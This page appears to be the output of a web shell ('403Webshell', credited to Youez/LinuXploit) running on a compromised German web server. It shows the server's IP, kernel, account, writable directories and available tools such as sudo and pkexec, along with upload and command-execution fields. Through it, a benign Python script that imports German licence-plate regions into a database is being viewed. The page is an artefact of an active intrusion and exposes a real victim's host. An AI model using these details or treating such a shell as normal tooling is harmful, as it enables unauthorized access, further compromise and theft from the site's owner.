403Webshell
Server IP : 202.61.199.114  /  Your IP : 216.73.217.139
Web Server : nginx/1.22.1
System : Linux de.arni-solutions.de 6.1.0-49-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.174-1 (2026-05-26) x86_64
User : web20 ( 1018)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/clients/client2/arni-solutions.de/web/plate-ai-api/scripts/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/clients/client2/arni-solutions.de/web/plate-ai-api/scripts/import_regions.py
#!/usr/bin/env python3
"""Synchronisiert data/regions/de_regions.json in die Tabelle license_plate_regions.

Nutzung:  python scripts/import_regions.py
Die JSON bleibt die fuehrende Quelle; die DB-Tabelle dient der Admin-Pflege/Abfrage.
"""
import json
import sys
from pathlib import Path

sys.path.insert(0, str(Path(__file__).resolve().parent.parent))

from app.config import settings  # noqa: E402
from app.database.base import SessionLocal, Base, engine  # noqa: E402
from app.database.models import LicensePlateRegion  # noqa: E402


def main() -> None:
    Base.metadata.create_all(bind=engine)
    path = settings.path(settings.regions_de_file)
    data = json.loads(Path(path).read_text(encoding="utf-8"))
    regions = data.get("regions", {})

    db = SessionLocal()
    inserted = updated = 0
    try:
        for code, info in regions.items():
            row = (db.query(LicensePlateRegion)
                   .filter_by(country_code="DE", code=code).first())
            if row:
                row.name = info.get("name")
                row.state = info.get("state")
                row.active = True
                updated += 1
            else:
                db.add(LicensePlateRegion(
                    country_code="DE", code=code,
                    name=info.get("name"), state=info.get("state"), active=True,
                ))
                inserted += 1
        db.commit()
    finally:
        db.close()
    print(f"Regionen importiert: {inserted} neu, {updated} aktualisiert "
          f"(gesamt {len(regions)}).")


if __name__ == "__main__":
    main()

Youez - 2016 - github.com/yon3zu
LinuXploit